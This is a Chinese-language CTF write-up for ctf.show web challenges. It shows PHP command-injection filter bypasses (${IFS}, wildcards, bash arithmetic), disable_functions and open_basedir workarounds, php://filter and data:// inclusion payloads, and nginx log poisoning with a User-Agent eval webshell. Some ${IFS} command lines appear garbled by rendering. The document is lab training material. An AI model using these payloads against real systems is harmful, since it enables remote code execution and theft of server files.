
过滤了<和>,没有过滤$

考虑使用IFS

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

其中数字过滤

使用cp和mv命令均无效

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}a.txt%7C%7Cls

过滤了数字,所示使用a.txt

查看ls后

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls

a.txt flag.php index.php

查看复制过的

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}?.txt%7C%7Cls

回显如下:

?php
     2	
     3	/*
     4	# -*- coding: utf-8 -*-
     5	# @Author: h1xa
     6	# @Date:   2020-09-05 20:49:44
     7	# @Last Modified by:   h1xa
     8	# @Last Modified time: 2020-09-05 20:49:53
     9	# @email: h1xa@ctfer.com
    10	# @link: https://ctfer.com
    11	
    12	*/
    13	
    14	
    15	$flag="flag_here";

好家伙,不在这里。遍历全局

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls I F S / {IFS}/ IFS/{IFS}%7C%7Cls

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

直接cp flag

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls I F S / {IFS}/ IFS/fla?%7C%7Cls

无回显

要不是空目录要不是一个文件

尝试文件复制

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp I F S / f l a ? {IFS}/fla? IFS/fla?{IFS}b.txt%7C%7Cls

查看

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls

回显成功

查看复制的文件

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}b.txt%7C%7Cls

1 ctfshow{caf4c161-d5ec-4215-bb43-45f091d799a7} 
web53
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

system成功的话返回最后一段,否则为false

http://82baa6a1-7fed-41c4-843d-26903a052400.challenge.ctf.show/?c=nl${IFS}fla?.php

nl${IFS}fla?.php     1	    15	$flag="ctfshow{6ee3394a-7785-452f-b438-ce2b136d6eab}";
web54
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤巨多

不能使用’'绕过

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=ls

flag.php index.php 

原本未有变化

发现未过滤mv

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=mv I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt

ls

b.txt index.php

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/b.txt

直接使用

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{70b6aa62-9e2d-4cf6-aa90-9226b983f202}";
web55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了a-z的字母

没有·.·,.在linux下可以执行脚本文件

考虑文件上传

https://blog.csdn.net/qq_46091464/article/details/108513145

web56
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了

web57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

只用构造36.php绕过过滤即可

url

http://1c78a6f5-a9a5-4452-b093-1074f6bbb077.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

原理:

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{5d167e95-84d5-4334-adea-a80cf8b9d684}"
web58

禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

尝试

phpinfo

 Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

echo函数

成功!

c=echo `ls`;
 Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

禁止了exec的shell脚本执行

c=show_source(‘flag.php’);

没有禁用文件读取

c=show_source('flag.php');
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{349ab621-1b2a-451e-a177-34f42de232a2}"; 
web59
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

与上题目一致

只不过命令禁止更加严格

c=echo file_get_contenets('flag.php');
 Fatal error: Uncaught Error: Call to undefined function file_get_contenets() in /var/www/html/index.php(17) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(17): eval() #1 {main} thrown in /var/www/html/index.php(17) : eval()'d code on line 1

被禁用

尝试之后与上体方法一致

c=show_source('flag.php');
web60
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

直接操作c

eval

c=show_source('flag.php');
web61
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

和上一题一样

解法一致

web62

解法一样

web63

解法一样

web64

解法一样

web65

解法一样

web66
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="秀秀得了,这次不在这里"; 
使用highlight_file之后

换!

c=var_dump(scandir('.'));

查看名称

未改名称

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 

可以查看到flag.txt

然后访问即可

web67

一样

web68
 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

直接禁用了highlight_file()文件

所以直接

先扫盘

看到flag.txt

c=include('/flag.txt');

直接出来因为不是php标签

web69

一样

web70

一样

web71
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗? 

上来直接报错?

下载附件

如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

好多函数

匹配正则表达式,将符号换成?

ob_get_contents — 返回输出缓冲区的内容

范例

示例 #1 *ob_get_contents()* 简单示例

 <?php
 ob_start();
 echo "Hello ";
 $out1 = ob_get_contents();
 echo "World";
 $out2 = ob_get_contents();
 ob_end_clean();
 var_dump($out1, $out2);
 ?> 

以上例程会输出:

string(6) "Hello "
string(11) "Hello World"

ob_end_clean清空缓冲区

这个题目不给报错信息

所以考虑中断

c=include(‘/flag.txt’);exit();

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
ctfshow{90c8da50-b3d9-4045-bf2c-59e6156e0c15} 

成功

web72

web71方法找不到文件

**Warning**:  include(/flag.txt): failed to open stream: No such file or directory in **/var/www/html/index.php(19) : eval()'d code** on line **1**

所以查看文件

 Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(19) : eval()'d code on line 1

禁止了var_dump函数

看到

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

使用提示查看

web73
web74

include是可以的

web75
web76
web77
web118

image-20221219171408386

查看如下

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="style.css">
</head>
<body>
    
    <div style="width:400px;height:10px;margin:100px auto">
        <form action='' method=post> 
            <input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 ">
        </form>
		<!-- system($code);-->
    </div>
</body>
</html>

有提示

直接

抓包得出结论这里直接输入code作为执行

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

构造环境变量

成功

文件包含

web78
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

http://d634471a-2b93-49a7-a1b1-84a0e857dae4.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

php特性

web79
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,此题目中当file变量为php的话会将php替换为???

所以这个base64的php的伪协议失败

data://协议

data://:需满足allow_url_fopenallow_url_include同时开启才能使用,使用如下:

file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain,<?php phpinfo()?>

url注入之后

未见到明显图标

查看代码可得

<???? ???info()?>

url

http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA/Pg==

<?php system('cat flag.php') ?>

的base64的加密来绕过php的检查

web80
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这题加上了data的限制

本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。

日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。

写入agent

<?php system('ls');?>

成功回显

172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php " 

更改

agent

<?php eval($_GET[2]);?>

写入了木马

http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');

url如上查看fl0g.php

172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1619 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2075 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" ""
172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:59:01 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2537 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{23432ae9-3cf5-46fe-9d51-7ad8ba336596}";"
172.12.0.6 - - [24/Dec/2022:10:59:42 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 3016 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "$flag="ctfshow{23432ae9-3cf5-46fe-9d51-7ad8ba336596}";

*/

# @link: https://ctfer.com
# @email: h1xa@ctfer.com
# @Last Modified time: 2020-09-16 11:25:00
# @Last Modified by:   h1xa
# @Date:   2020-09-16 11:24:37
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
"
172.12.0.6 - - [24/Dec/2022:10:59:57 +0000] "GET /?file=/var/log/nginx/access.log&2=system(%27ls%20/var/www/html%27);phpinfo(); HTTP/1.1" 200 87609 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "$flag="ctfshow{23432ae9-3cf5-46fe-9d51-7ad8ba336596}";

*/

# @link: https://ctfer.com
# @email: h1xa@ctfer.com
# @Last Modified time: 2020-09-16 11:25:00
# @Last Modified by:   h1xa
# @Date:   2020-09-16 11:24:37
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
"
172.12.0.6 - - [24/Dec/2022:11:00:40 +0000] "GET /?file=/var/log/nginx/access.log&2=system(%27tac%20/var/www/html/fl0g.php%27);phpinfo(); HTTP/1.1" 200 172969 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system(%27ls%20/var/www/html%27);phpinfo();" "$flag="ctfshow{23432ae9-3cf5-46fe-9d51-7ad8ba336596}";

*/

# @link: https://ctfer.com
# @email: h1xa@ctfer.com
# @Last Modified time: 2020-09-16 11:25:00
# @Last Modified by:   h1xa
# @Date:   2020-09-16 11:24:37
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
"

找到flag

web81
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

又多过滤了:

先沿用上面的方法

看看日志是否有用

有用,然后

添加病毒

http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('cat fl0g.php');
172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:06:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:06:40 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 648 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" ""
172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 848 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:07:16 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1328 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{2fb07b79-5c5c-4e84-a8b1-19d0e3adf3cc}";"
172.12.0.6 - - [24/Dec/2022:11:07:29 +0000] "GET /?file=/var/log/nginx/access.log&2=phpinfo(); HTTP/1.1" 200 85762 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{2fb07b79-5c5c-4e84-a8b1-19d0e3adf3cc}";"
172.12.0.6 - - [24/Dec/2022:11:07:53 +0000] "GET /?file=/var/log/nginx/access.log&2=system(%27ls%27) HTTP/1.1" 200 1670 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log&2=phpinfo();" "<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{2fb07b79-5c5c-4e84-a8b1-19d0e3adf3cc}";"
172.12.0.6 - - [24/Dec/2022:11:08:04 +0000] "GET /?file=/var/log/nginx/access.log&2=system(%27ls%27); HTTP/1.1" 200 2034 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system(%27ls%27)" "<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{2fb07b79-5c5c-4e84-a8b1-19d0e3adf3cc}";"

